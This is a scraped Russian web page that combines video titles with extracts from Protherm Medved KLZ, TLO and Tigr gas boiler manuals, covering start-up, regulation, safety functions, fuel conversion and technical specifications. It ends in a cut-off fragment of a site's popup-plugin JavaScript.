Protherm медведь klz: пуск и отключение котла регулировка котла
09:39
Protherm Медведь KLOM 17 – Обзор.
16:38
Котельная с напольным котлом Протерм медведь. Автоматизация бойлера с несколькими насосами отопления
18:31
Смотри пока не удалили. Протерм охренел. Proterm Медведь KLOM 17
04:30
Протерм Медведь нет ГВС. Проблема?
04:45
Protherm Medved KLZ или KLOM
08:09
Protherm Медведь KLZ любит хавать деньги после приобретения)))
09:47
Protherm Медведь 50 KLZ обвязка котла
20:59
Котел напольный Protherm Медведь 40 KLZ. Ремонт системы отопления.
9
Пуск котла
Предупреждение: Ввод котла в
эксплуатацию и его первый пуск должен
быть произведен только аттестованным
фирмой Protherm специалистом
специализированной организации!
Выполняя первый запуск котла, убедитесь
в том, что:
1. котел подключен к электрической сети и
при этом не перепутаны фаза и ноль.
2. открыт газовый запорный кран;
3. сервисные краны на отопление и ГВС
открыты;
4. давление в системе отопления находится
в допустимых пределах 1 – 2 бара.
Установите главный выключатель (рис. 1,
поз. 7) в положение ВКЛЮЧЕНО (I). Котел
включится и начнет работать в режиме
нагрева воды в бойлере (если бойлер
подключен к котлу). После нагрева воды в
бойлере котел переключится на режим
отопления (при условии, что режим
отопления активен). В случае защитного
отключения котла на дисплее панели
управления появится сообщение о
неисправности (см. „Сообщения об
ошибках“, стр.8). С помощью кнопки
RESET (рис. 1, поз. 6) разблокируйте
котел. Если, после включения, защитное
отключение повторится, или невозможно
будет произвести разблокировку котла,
обратитесь в сервисную организацию.
Отключение котла
При кратковременном отключении котла
установите главный выключатель (рис.
1, поз. 7) в положение ВЫКЛЮЧЕНО (О).
При выключении котла на длительный
период необходимо отключить его от
электрической сети и перекрыть подачу
газа в котел. Если в зимний период котел
не используется, то систему отопления
необходимо опорожнить. Однако
необходимо избегать частых сливов и
подпиток системы отопления во избежание
образования накипи и отложений внутри
котла.
Пуск и отключение котла
Регулировка котла
Эксплуатация котла без комнатного
регулятора
В данном режиме котел поддерживает
заданную температуру в системе отопления
по показаниям котлового датчика. В
клеммнике XT5 на зажимах 5 и 6 стоит
перемычка (заводская установка). Порядок
настройки:
• включите котел главным выключателем;
• установите требуемую температуру
подающей линии на панели управления.
Эксплуатация котла с комнатным
терморегулятором
В данном режиме котел поддерживает
заданную температуру в системе отопления
по комнатному регулятору. Перемычка,
установленная в клеммнике XT5 на зажимах
5 и 6, снимается. На ее место подключается
комнатный регулятор. Если в помещении
с комнатным регулятором на радиаторах
установлены термостатические клапана,
необходимо перевести их в полностью
открытое положение.
Предупреждение: На панели управления
Код
Значение
Причина
F5
Неисправность на-
ружного датчика
температуры
Котел работает без ограничений, но температура
теплоносителя регулируется по котловому датчику (см.
„Установка температуры отопления“, стр. 5).
Если котел не работает в эквитермическом режиме, то
подобное сообщение не может появиться.
10
устанавливается такая температура
системы отопления, которая способна
компенсировать тепловые потери
отапливаемого здания при самой низкой
расчетной наружной температуре для
данного региона.
Примечание: Компания PROTHERM
предлагает в качестве дополнительных
аксессуаров несколько комнатных
регуляторов, протестированных для
работы с данным типом котла. В
случае применения регуляторов других
производителей компания Protherm не
несет ответственности за неправильную и
ненадежную работу оборудования.
Эксплуатация котла в режиме
эквитермического регулирования
Температура теплоносителя в котле
регулируется в зависимости от изменения
наружной температуры воздуха. Настройка
функции эквитермической зависимости
возможна только при подсоединенном
наружном датчике, который не является
частью поставки котла. Порядок
настройки угла наклона и параллельного
смещения эквитермической кривой на
графике приводится на стр. 6 настоящего
руководства.
Предупреждение: Подключение
комнатного регулятора и наружного
датчика может проводить только
аттестованный фирмой Protherm специалист
специализированной организации.
Примечание: При всех видах регулирования
приоритетным является нагрев воды в
бойлере, т.е. как только будет получен
сигнал от датчика бойлера, котел
автоматически переключится в режим
нагрева воды в бойлере. После нагрева
воды в бойлере до требуемой температуры
котел автоматически вернется в режим
отопления.
Установка мощности котла
Мощность котла настроена на заводе
на максимум. При необходимости можно
установить отопительную мощность котла
в соответствии с требуемой отопительной
нагрузкой. В режиме нагрева воды в бойлере
котел всегда работает на максимальной
мощности.
Предупреждение: Изменения в
настройке котла может проводить только
аттестованный фирмой Protherm специалист
специализированной организации.
Защитные функции котла
Плавная модуляция мощности
Происходит на основании постоянного
сравнения текущих параметров
с параметрами, установленными
пользователем; данное регулирование
является пропорциональным, т.е. при
большей разнице между сравниваемыми
величинами котел работает с большей
мощностью и наоборот.
Защита от замерзания
При снижении температуры воды в системе
отопления до 8°C произойдет включение
котла независимо от включенного режима
„Лето“, требований комнатного регулятора
или включенного режима нагрева бойлера.
Защита бойлера ГВС от замерзания
При снижении температуры воды в бойлере
ниже 8°C, произойдет включение котла
для нагрева воды в бойлере. Данная
функция котла активизируется даже при
выключенном режиме нагреве бойлера.
Защита насоса от заклинивания
Снижает вероятность заклинивания
насоса вследствие осаждения взвешенных
частиц на его вращающихся элементах
при длительной остановке котла (более
24 часов) посредством кратковременного
включения (30 секунд).
Выбег насоса
После выключения котла из работы по
сигналу от комнатного регулятора насос
еще в течение приблизительно 1 минуты
обеспечивает циркуляцию воды в системе
отопления (только в режиме отопления).
Антициклирование
Функция антициклирования в режиме
отопления ограничивает количество
повторных пусков котла временным
11
интервалом не менее 1 минуты или
падением температуры теплоносителя на
8°C.
Примечание: В случае, если котел
был выключен по команде комнатного
регулятора, данное ограничение не
действует.
Защита от перегрева
Функция защиты от перегрева включает
насос отопления при превышение
значения температуры воды в системе
отопления, установленного пользователем
или если температура теплоносителя в
котле превысит 85°C. Если температура
теплоносителя в котле превысит 90°C
(неисправность F3), котел автоматически
выключится.
Запуск насоса в зависимости от
температуры теплоносителя
Система управления котла позволяет
устанавливать время запуска насоса
отопления в зависимости от достижения
котлом определенной температуры.
Настроить данную температуру может
только сотрудник авторизованного
сервисного центра.
Система контроля тяги дымохода
Котел оснащен системой контроля тяги
дымохода (СКТД). При недостаточной тяге в
дымоходе сработает термостат отходящих
газов, котел автоматически выключится
(прекратится подача газа в котел).
Перебои в подаче электроэнергии
При перебоях в подаче электроэнергии
котел выключится. При возобновлении
подачи электроэнергии котел
автоматически включится, без потери
установленных рабочих параметров.
Если после возобновления подачи
электроэнергии на дисплее котла появится
сообщение о неисправности, разблокируйте
котел с помощью кнопки RESET.
Примечание: Блокировка котла может
произойти вследствие его перегрева в
результате остановки насоса после
отключения электроэнергии.
Неисправность устраняется нажатием
кнопки RESET, расположенной на панели
управления котла. Если неисправность
не удается устранить таким образом,
необходимо обратиться в авторизованный
сервис.
Предупреждение: Все указанные защитные
функции имеют силу только в случае
правильного подключения к электрической
сети (правильное подключение проводов
фаза, ноль и заземление) и включенном
положении главного выключателя
(положение ВКЛЮЧЕНО (I)).
Предохранительный клапан на
отопление
Котел оснащен предохранительным
клапаном на 3 бара. Предохранительно-
сбросной клапан срабатывает в случае
превышения рабочего давления
теплоносителя в системе отопления
и защищает котел от гидравлических
повреждений.
Подведите к предохранительно-сбросному
клапану сбросную линию в соответствии с
действующими нормами и правилами.
Категорически запрещается обслуживать
предохранительный клапан лицам,
не являющимся сотрудниками
специализированных сервисных
организаций! В случае срабатывания
предохранительного клапана необходимо
отключить котел и обратиться в сервисную
организацию.
Сервис и уход
Уход за котлом со стороны
пользователя
При необходимости можно производить
чистку передней панели котла, не снимая
ее. Чистка производится после отключения
котла от электрической сети (необходимо
перевести сетевой выключатель в
положение «выкл»). В случае попадания
влаги на переднюю панель повторное
включение котла возможно только после
его полного высыхания. Периодически
необходимо контролировать давление
12
теплоносителя в системе отопления,
подпитывая ее при необходимости.
Подпитка системы отопления возможна
только после охлаждения котла до
температуры ниже 40 °C (по данным от
датчика температуры, установленного в
котле). Невыполнение данного требования
может привести к возникновению трещин
в результате теплового напряжения
материала котла. В случае утечки газа
необходимо перекрыть подачу газа в котел
и обратиться в сервисную организацию.
Защита от легионеллы
Чтобы избежать возможности образования
бактерий Legionella pneumophila или других
видов бактерий в бойлере рекомендуется
поддерживать температуру горячей воды
около 60 °C, либо периодически повышать
температуру нагрева воды в бойлере до 70
°C.
Профессиональный уход за котлом
Раз в год, желательно, перед началом
отопительного сезона, рекомендуется
производить сервисное обслуживание
котла. Сервисное обслуживание производят
сотрудники специализированной сервисной
организации. Данное обслуживание не
является обязательным для соблюдения
гарантии. Однако отсутствие обслуживания
может привести к неисправностям, не
являющимися гарантийным случаем.
Прежде всего, речь идет о проверке
функционирования и состояния горелки,
правильности настройки мощности,
проверке герметичности соединений
дымохода, чистке теплообменника котла,
контроле бойлера ГВС и проверки состояния
магниевого анода. Особенно важна
при этом проверка функциональности
предохранительного клапана,
аварийного термостата и термостата
продуктов сгорания. Подобный контроль
осуществляется и после выполнения
сервисных работ на данных элементах.
Контроль состояния магниевого анода
рекомендуется проводить по истечению
первых шести месяцев со дня ввода
котла в эксплуатацию. Дату проведения
следующего обслуживания сервисная
организация определяет в зависимости
от степени износа анода на момент его
первого контроля.
Если степень износа составляет 60%
анода, его необходимо заменить на новый.
Выход из строя бойлера по причине износа
магниевого анода не является гарантийным
случаем.
Примечание: Износ магниевого анода
связан с его защитной функцией, поэтому
замена анода не является предметом
гарантии.
Гарантийные условия
Гарантия на газовый котел PROTHERM
Медведь 20 (30, 40, 50) KLZ предоставляется
на основании паспорта изделия, правильно
заполненного акта рекламации и остальных
условий, перечисленных в «Руководстве по
эксплуатации», «Руководстве по монтажу»
(главы Введение, Установка котла и в
паспорте изделия.
13
Медведь
20 KLZ
Медведь
30 KLZ
Категория . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . II
2H3P
Исполнение
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . B
11BS
Зажигание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . электронное
Топливо . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . пр./ сж.газ . . . . . . . . . . . пр./ сж.газ
Максимальная тепловая нагрузка . [кВт] . . . . . . . 18,5 / 18 . . . . . . . . . . . . . 28,5 / 27
Минимальная тепловая нагрузка . . [кВт] . . . . . . . . 13 / 12 . . . . . . . . . . . . . . 20 / 19
Максимальная тепловая мощность . [кВт] . . . . . . . . 17 / 16 . . . . . . . . . . . . . 26 / 24,5
Минимальная тепловая мощность . [кВт] . . . . . . . 12,1 / 11 . . . . . . . . . . . . . 18,2 / 17
КПД . . . . . . . . . . . . . . . . . . . . . . . . . . . . . [%] . . . . 90 – 92 / 89 – 91 . . . . . . . 90 – 92 / 89 – 91
Давление газа
Входное давление . . . . . . . . . . . . . . [мбар] . . . . . . . . .20 / 30 . . . . . . . . . . . . . . 20 / 30
Диаметр форсунки . . . . . . . . . . . . . . . [мм] . . . . . . . .2,65 / 1,7 . . . . . . . . . . . . 2,65 / 1,7
Макс. давление газа на форсунках [мбар] . . . . . . . 10.5 / 27. . . . . . . . . . . . . 12.5 / 27
Мин. давление газ на форсунках . [мбар] . . . . . . . . 5.5 / 13 . . . . . . . . . . . . . . 5,5 / 13
Расход газа
(Q макс.) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2,0 [м
3
/час] / 1,6 [кг/час] 3,0 [м
3
/час] / 2,4 [кг/час]
Отопление
Макс.рабочее давление . . . . . . . . . . [бар] . . . . . . . . . . . . . . . . . . . . .3
Мин.рабочее давление . . . . . . . . . . . [бар] . . . . . . . . . . . . . . . . . . . . .1
Рекомендованное рабочее давление [бар] . . . . . . . . . . . . . . . . . . . 1 – 2
Диапазон температур . . . . . . . . . . . . . [°C] . . . . . . . . . . . . . . . . . . 45 – 85
Объем котла . . . . . . . . . . . . . . . . . . . . . [л] . . . . . . . . . .9,1 . . . . . . . . . . . . . . . . .11,6
Расширительный бак . . . . . . . . . . . . . . [л] . . . . . . . . . . . . . . . . . . . . 10
Макс.давление в расширительном баке [бар] . . . . . . . . . . . . . . . . . . . . 3,5
Горячая вода
Макс.входное давление . . . . . . . . . . [бар] . . . . . . . . . . . . . . . . . . . . .6
Установленный диапазон температур [°C] . . . . . . . . . . . . . . . . . . 40 – 70
Объем бойлера ГВС . . . . . . . . . . . . . . . [л] . . . . . . . . . . . . . . . . . . . . 90
Расширительный бак . . . . . . . . . . . . . . [л] . . . . . . . . . . . . . . . . . . . . 3,9
Расход ГВС
*
. . . . . . . . . . . . . . . . . . . .[л/мин] . . . . . . . . . 16,5 . . . . . . . . . . . . . . . . .18,0
Электрические параметры
Напряжение . . . . . . . . . . . . . . . . . . . . [В/Гц] . . . . . . . . . . . . . . . . . . 230/50
Потребляемая мощность . . . . . . . . . . [Вт] . . . . . . . . . . . . . . . . . . . .130
Класс защиты . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . IP 40
Сила тока. . . . . . . . . . . . . . . . . . . . . . . . [A] . . . . . . . . . . . . . . . . . . . . 0,8
Способ отвода продуктов сгорания . . . . . . . . . . . . . . . . . . . . .в дымоход
Диаметр дымохода . . . . . . . . . . . . . . . [мм] . . . . . . . . . 130 . . . . . . . . . . . . . . . . . 130
Температура прод.сгорания . . . . . . . . [°C] . . . . . . . . . . 88 . . . . . . . . . . . . . . . . . .116
Удельный расход продуктов сгорания [г/с] . . . . . . . . . 13,3 . . . . . . . . . . . . . . . . 19,8
Минимальная тяга в дымоходе . . . . . [Па] . . . . . . . . . . . . . . . . . . . . .2
Уровень шума (1 м от котла, высота 1,5 м) [дБ] . . . . . . . . . . . . . . . . . . . до 55
Размеры – высота / ширина / глубина [мм] . . . . . . . . . . . . . . . 1385 / 505 / 730
Масса без воды . . . . . . . . . . . . . . . . . . .[кг] . . . . . . . . . 140 . . . . . . . . . . . . . . . . . 155
* –
согласно стандарту EN 625
Технические параметры
20 (30) KLZ
14
Медведь
40 KLZ
Медведь
50 KLZ
Категория . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . II
2H3P
Исполнение
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . B
11BS
Зажигание . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . электронное
Топливо . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . пр./ сж.газ . . . . . . . . . . . пр./ сж.газ
Максимальная тепловая нагрузка . [кВт] . . . . . . .38,5 / 36,5 . . . . . . . . . . . . 49 / 47,5
Минимальная тепловая нагрузка . . [кВт] . . . . . . . 27 / 25,5 . . . . . . . . . . . . . 36 / 32,8
Максимальная тепловая мощность . [кВт] . . . . . . . . 35 / 33 . . . . . . . . . . . . . 44 / 41,2
Минимальная тепловая мощность . [кВт] . . . . . . . 24,5 / 23 . . . . . . . . . . . . . 31,5 / 28
КПД . . . . . . . . . . . . . . . . . . . . . . . . . . . . . [%] . . . . 90 – 92 / 89 – 91 . . . . . . . 90 – 92 / 89 – 91
Давление газа
Входное давление . . . . . . . . . . . . . . [мбар] . . . . . . . . .20 / 30 . . . . . . . . . . . . . . 20 / 30
Диаметр форсунки . . . . . . . . . . . . . . . [мм] . . . . . . . .2,65 / 1,7 . . . . . . . . . . . . 2,65 / 1,7
Макс. давление газа на форсунках [мбар] . . . . . . . 12.5 / 27. . . . . . . . . . . . . 13 / 26.5
Мин. давление газ на форсунках . [мбар] . . . . . . . . 5.5 / 13 . . . . . . . . . . . . . . 7 / 12.7
Расход газа
(Q макс.) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4,1 [м
3
/час] / 3,3 [кг/час] 5,2 [м
3
/час] / 3,8 [кг/час]
Отопление
Макс.рабочее давление . . . . . . . . . . [бар] . . . . . . . . . . . . . . . . . . . . .3
Мин.рабочее давление . . . . . . . . . . . [бар] . . . . . . . . . . . . . . . . . . . . .1
Рекомендованное рабочее давление [бар] . . . . . . . . . . . . . . . . . . . 1 – 2
Диапазон температур . . . . . . . . . . . . . [°C] . . . . . . . . . . . . . . . . . . 45 – 85
Объем котла . . . . . . . . . . . . . . . . . . . . . [л] . . . . . . . . . 14,1 . . . . . . . . . . . . . . . . . 16
Расширительный бак . . . . . . . . . . . . . . [л] . . . . . . . . . . . . . . . . . . . . 10
Макс.давление в расширительном баке [бар] . . . . . . . . . . . . . . . . . . 3,5
Горячая вода
Макс.входящее давление . . . . . . . . . [бар] . . . . . . . . . . . . . . . . . . . . .6
Установленный диапазон температур [°C] . . . . . . . . . . . . . . . . . . 40 – 70
Объем бойлера ГВС . . . . . . . . . . . . . . . [л] . . . . . . . . . . . . . . . . . . . . 90
Расширительный бак . . . . . . . . . . . . . . [л] . . . . . . . . . . . . . . . . . . . . 3,9
Расход ГВС
*
. . . . . . . . . . . . . . . . . . . .[л/мин] . . . . . . . . . 18,5 . . . . . . . . . . . . . . . . . 19
Электрические параметры
Напряжение . . . . . . . . . . . . . . . . . . . . [В/Гц] . . . . . . . . . . . . . . . . . . 230/50
Потребляемая мощность . . . . . . . . . . [Вт] . . . . . . . . . . . . . . . . . . . .130
Класс защиты . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . IP 40
Сила тока. . . . . . . . . . . . . . . . . . . . . . . . [A] . . . . . . . . . . . . . . . . . . . . 0,5
Способ отвода продуктов сгорания . . . . . . . . . . . . . . . . . . . . .в дымоход
Диаметр дымохода . . . . . . . . . . . . . . . [мм] . . . . . . . . . 150 . . . . . . . . . . . . . . . . . 180
Температура прод.сгорания . . . . . . . . [°C] . . . . . . . . . 131 . . . . . . . . . . . . . . . . .115
Удельный расход продуктов сгорания [г/с] . . . . . . . . . . 31 . . . . . . . . . . . . . . . . . . 50
Минимальная тяга в дымоходе . . . . . [Па] . . . . . . . . . . . . . . . . . . . . .2
Уровень шума (1 м от котла, высота 1,5 м) [дБ] . . . . . . . . . . . . . . . . . . . до 55
Размеры – высота / ширина / глубина [мм] . . . . 1385 / 505 / 730 . . . . . . . 1385 / 590 / 730
Вес без воды . . . . . . . . . . . . . . . . . . . . .[кг] . . . . . . . . . 180 . . . . . . . . . . . . . . . . . 205
* –
согласно стандарту EN 625
Технические параметры
40 (50) KLZ
17
Монтаж должен производиться, на
основании проекта, квалифицированным
специалистом лицензированного
специализированного предприятия, который
несет ответственность за надлежащий
монтаж и выполнение существующих
правил, предписаний и нормативных актов.
При установке котла на основание из
горючих материалов (например, дерево,
ПВХ и т.п.) котел должен монтироваться на
подложку из негорючих материалов.
Предупреждение: Во время работы
температура котла в верхней части (прежде
всего, с боковых сторон и верхней панели)
может превышать температуру окружающей
среды почти на 50 °C. Минимальное
рабочее пространство, которое необходимо
оставлять свободным вблизи котла, должно
быть таким, чтобы можно было свободно и
безопасно производить ремонтные работы
и сервисное обслуживание (рекомендуется
оставлять минимально 300 мм с каждой
стороны и минимально 600 мм перед
котлом).
Способ отвода продуктов сгорания для
данного котла – в дымоход с постоянной тягой
2 Па. Размер выхода для подсоединения
дымохода меняется в зависимости от
мощности котла:
– для котлов PROTHERM 20, 30 KLZ – Ø 130
мм,
– для котлов PROTHERM 40 KLZ – Ø 150
мм,
– для котлов PROTHERM 50 KLZ – Ø 180
мм.
Предупреждение: Запрещается помещать
в дымоход предметы, препятствующие
прохождению продуктов сгорания (например,
различные типы теплообменников для
использования остаточного тепла). Дымоход
не входит в объем поставки котла.
Конструкция дымохода должна
соответствовать всем нормам и
требованиям, установленным законами и
Котел Protherm KLZ применяется в качестве
теплогенераторов в автономных системах
водяного отопления.
Предупреждение: Ввод котла PROTHERM
KLZ в эксплуатацию может проводить только
аттестованный фирмой Protherm специалист
специализированной организации.
Для установки котла, его введения
в эксплуатацию, гарантийного и
послегарантийного ремонта служит сеть
авторизованных сервисных центров.
Газовый отопительный котел предназначен
для установки внутри зданий в жилых
или хозяйственных помещениях, при
обязательном соблюдении действующих в
данной местности норм и правил размещения
газовых аппаратов, а также требований к
помещениям для их установки.
В качестве теплоносителя в системе
отопления должна использоваться вода с
карбонатной жесткостью до 3,0 молькуб.м.
(6,0 мг-эквл, 16,8 dH), бесцветная, чистая,
без осадков. При более жесткой воде во
избежание образования накипи следует
произвести снижение жесткости воды.
При установке котлов следует
руководствоваться действующими в
данной местности СНиП, Правилами
безопасности в газовом хозяйстве, ПУЭ,
ПТЭПТБ электроустановок потребителей,
другими действующими в данной местности
нормами и правилами, а также местными
предписаниями газо- и электроснабжающих
организаций.
На неисправности, возникшие вследствие
образования накипи или отложений грязи
в самом котле или отопительной системе,
гарантия не распространяется.
Согласование выбора места установки, а
также организация приточно-вытяжной
вентиляции проводится в установленном
для данной местности порядке в
соответствии с действующими для данной
местности нормативными документами.
Руководство по монтажу
Руководство по монтажу
Введение
18
документами, которые имеют отношение
к данному вопросу. Выполняя требования,
перечисленные в нормах, можете
избежать таких нежелательных явлений,
как чрезмерное охлаждение продуктов
сгорания, проникновение влажности в
кладку, колебание тяги дымохода, а, тем
самым, и их негативного влияния на работу
котла.
Воздух для горения поступает в котел
из помещения, в котором он установлен.
Следует обеспечить приток в помещение
достаточного количества воздуха для
горения – около 11 м
3
воздуха на 1 м
3
природного газа.
Котел устанавливается в защищенном
от замерзания помещении вблизи
дымовой трубы. Допустимая температура
окружающей среды для работы котла от
3С до 45С.
Воздух для горения, который подается к
аппарату, должен быть технически чист
от химических веществ, которые могут
содержать, например, фтор, хлор или серу.
Аэрозоли, краски, растворители, чистящие
средства и клеящие вещества содержат
в своем составе вещества такого рода,
которые могут во время эксплуатации
аппарата при неблагоприятных условиях
вызывать коррозию, в том числе в системе
дымоходов. В воздухе для горения не
должны содержаться механические
примеси, например: строительная пыль,
песок и пр.
Для отвода продуктов сгорания котлов
PROTHERM 20, 30, 40, 50 KLZ можно
использовать дополнительное устройство
„надставку PROTHERM PT 20 (30, 40,
50) ПОЛУТУРБО“, обеспечивающее
принудительный отвод продуктов сгорания.
Устройство дает возможность эксплуатации
чугунных котлов в случаях, когда нет
возможности использовать нормальный
отвод продуктов сгорания в дымоход.
Надставка стыкуется с выходом котла
для подсоединения дымохода. Вывод
продуктов сгорания надставки позволяет
использовать элементы раздельных
дымоходов из каталога по дымоходам
компании Protherm для настенных котлов.
Максимальная длина дымохода составляет
10 эквивалентных метров (1 эквивалентный
метр = 1 метр прямого участка или одно 90°
колено).
Предупреждение: При использовании
вентиляторной надставки PROTHERM
PT 20 (30, 40, 50) клеммы термостата
продуктов сгорания перед вводом котла
в действие необходимо перемкнуть. В
качестве предохранительного элемента
при данном способе эксплуатации
выступает маностат воздуха, входящий в
комплект поставки надставки PT 20 (30-
50) дымохода. Устанавливать надставку на
котел и вводить ее в действие может только
аттестованный фирмой Protherm специалист
специализированной организации.
При выполнении сервисных работ в
период, когда надставка подключена к
электрической сети (даже при выключенном
сетевом выключателе), необходимо
соблюдать правила техники безопасности!
Отклонение от первоначального давления
воды в системе отопления удобно
контролировать по манометру на панели
управления котла, используя красную
стрелку манометра. При падении давления
в системе отопления следует найти и
устранить места негерметичности или
выпустить воздух из системы отопления
или проверить расширительный бак.
Расширительный бак котла необходимо
настроить в зависимости от параметров
системы отопления – таким способом
предохраняется система отопления и
все ее элементы во время эксплуатации
от нежелательной нагрузки при резких
изменениях давления.
При заполнении встроенного бойлера ГВС
необходимо открыть подводящую линию
ХВС в бойлер и линию выхода ГВС из
бойлера. Как только из линии ГВС начнет
выходить вода – это будет означать, что
бойлер полностью заполнен водой.
Примечание: Перед котлом (т.е. на
обратную линию системы отопления)
рекомендуется установить отстойник для
шлака из системы отопления. Отстойник
можно комбинировать с грязевиком, он
должен иметь отсечные сервисные краны.
Protherm медведь tlo – инструкция (страница 18)
18
Шаг 4 – Ручка управления в
положении „точка“
Запальная и основная
горелки погаснут (если
горят) – первоначальное
положение (в шаге 1).
Предупреждение:
Невозможно переместить ручку управления
в положение „искра“ в течение 60 секунд,
после её перемещения в положение „точка“,
пока не сработает устройство безопасности
газовой арматуры.
Таблица устанавливаемых значений
давления газа на соплах для мощностей
котлов PROTHERM 50 (40,30,20) TLO:
Предупреждение: Поворот ручки
управления газовой арматуры в требуемое
положение возможен только при
одновременном легком её нажатии.
Шаг 1 – Ручка управ-
ления в положении
„точка“
Запальная и основная
горелки отключены
(подача газа к ним заблокирована)
Шаг 2 – Ручка
управления в
положении „искра“
В этом положении ручка
управления газовой
арматуры держится нажатой до упора(!),
одновременно нажимается (несколько раз)
кнопка пьезорозжига, пока не зажжется
запальная горелка. Ручка управления
держится нажатой (10 секунд после розжига
запальной горелки), пока не нагреется
термопара, потом ручку управления можно
отпустить (подача газа к основной горелке
остается заблокированной).
Шаг 3 – Ручка
управления в
положении „факел“
Подача газа к основной
горелке разблокирована и
розжиг горелки управляется автоматически
(горелка разжигается, если на
закрывающийся электровентиль арматуры
SIT-NOVA подается рабочее напряжение из
контура внутренней проводки котла).
Последовательность при розжиге и отключении котла
Тип
Давление газа (мбар)
G 20
G 30
20 TLO
13
27,8
30 TLO
12,8
28,1
40 TLO
12,7
27,9
50 TLO
13
27,7
§
§
20
Переналадка на другой вид топлива
Переналадку котла на другой вид топлива
может проводить только аттестованный
фирмой Protherm специалист
специализированной организации.
Переналадку котла следует осуществить с
помощью комплектов перехода на пропан
(заказной номер 0020229562 для 20TLO,
заказной номер 0020229563 для 30TLO, 40
TLO и 50TLO).
В случае необходимости смены вида
топлива (G 20 на G 30 и наоборот),
переналадка котла осуществляется
следующим способом:
1. Демонтируйте горелку котла;
2. Замените все форсунки горелки на иной
тип (в зависимости от вида топлива).
3. Установите горелку обратно.
4. Регулирующий винт газовой арматуры А
(рис. 4) поверните на максимум.
5. Проверьте на герметичность места соеди-
нений газовой арматуры и примите следу-
ющие меры безопасности:
– укажите на котле вид используемого то-
плива
– информацию о проиведенной переналад-
ке, дате и лице, выполнившем переналад-
ку, необходимо внести в сопроводитель-
ную техническую документацию к котлу.
Предупреждение: Для переналадки на
иной вид топлива используются только
оригинальные детали, поставленные
изготовителем, или иным, уполномоченным
изготовителем, лицом. Переналадку может
проводить только аттестованный фирмой
Protherm специалист специализированной
организации!
При переходе на иной вид топлива
необходимо учитывать требования к
конструкции резьбовых соединений газовой
арматуры, расположенной внутри котла,
т.е. уплотнять их только материалами,
пригодными для монтажа и стойкими к
воздействию данного вида топлива.
Результаты настройки всех элементов
должны быть зафиксированы (например,
каплей краски).
§
§
22
рис. 6
0
0,5
1
1,5
2
2,5
3
3,5
4
4,5
5
5,5
6
6,5
7
7,5
8
8,5
9
9,5
10
0
0,3
0,6
0,9
1,2
1,8
2,1
20 TLO
30 TLO
40 TLO
50 TLO
A
B
Потери давления котла PROTHERM 50(40,30,20)TLO
A – Расход воды (м
3
/час)
B – Потери давления (кПа)
§
§
Включение и выключение котла регулирование котла – инструкция по эксплуатации protherm тигр
Включение котла
Предупреждение:
Ввод котла в эксплуа- тацию и первое включение должно выпол- няться только авторизированной сервисной организацией!
Перед включением котла после ввода в эксплуатацию убедитесь в том, что:
1. котёл подключён к электрической сети
2. газовая задвижка под котлом отрыта
3. давление нагревательной воды соответ- ствует рекомендуемому значению 1 — 2 бар
Переключите главный выключатель (рис. 1) в положение (I), Дисплей начнёт светиться.
В случае защитного отключения котла вследствие погасшего пламя, срабатывани- ем аварийного термостата или термостата продуктов сгорания (у котла с обозначени- ем КOZ) на панели управления мигает или светит светодиод неисправности у симбола «молния». В случае погашения пламя воз- можно отменить блокировку котла главным выключателем таким способом, что его пе- реключим в положение (0) и через некото- рое время его опять переключим в положе- ние (I).
При защитном отключении котла, которое произошло в результате срабатывания ава- рийного термостата, самостоятельное от- менение блокировки при помощи главного выключателя (RESET) не возможно.
Отменение блокировки аварийного термо- стата проводит только авторизированный сервисный техник, и это действие не счита- ется гарантийным ремонтом.
Предупреждение:
Котёл нельзя вводить в эксплуатацию с отключённым аварийным термостатом или термостатом продуктов сгорания или замещённым другим устрой- ством, чем тем, которое определено произ- водителем.
Выключение котла
Главный выключатель (рис.1) переключите в положение (0).
Если котёл отключается на продолжитель- ное время, закройте газовый кран перед котлом. Выключение котла должно прово- диться с учётом температуры окружающей среды в данное время года. Если котёл и система не защищены средством против за- мерзания (Alycol Thermo), существует угро- за повреждения котла и системы. В этом случае из трубопроводов горячей воды для хозяйственных нужд необходимо полнос- тью слить воду.
Включение и выключение котла
Регулирование котла
Эксплуатация котла без комнатного регулятора
В этом режиме котёл поддерживает уста- новленную температуру нагревательной воды. Комнатный регулятор не подключён, клеммы для его подключения должны быть объединенны (заводская поставка).
Порядок настройки:
• переключите главный выключатель в по-
ложение (I)
• на панели управления установите требуе-
мую температуру нагревательной воды в системе отопления
Эксплуатация котла с комнатным регулятором
Котёл поддерживает выбранную темпера- туру нагревательной воды. Взаимное объ- единение клемм для подключения комнат- ного регулятора удаляется и подключается комнатный регулятор. Работа котла преры- вается в зависимости от внутренней темпе- ратуры в помещении, в котором расположен комнатный регулятор. В этом помещении на радиаторах отопления не должно быть тер- мостатических клапанов.
Предупреждение: На панели управления котла должна быть установлена такая тем- пература нагревательной воды (темпера- тура воды в системе отопления), которая
Как включить котел protherm после отключения
“:’
‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
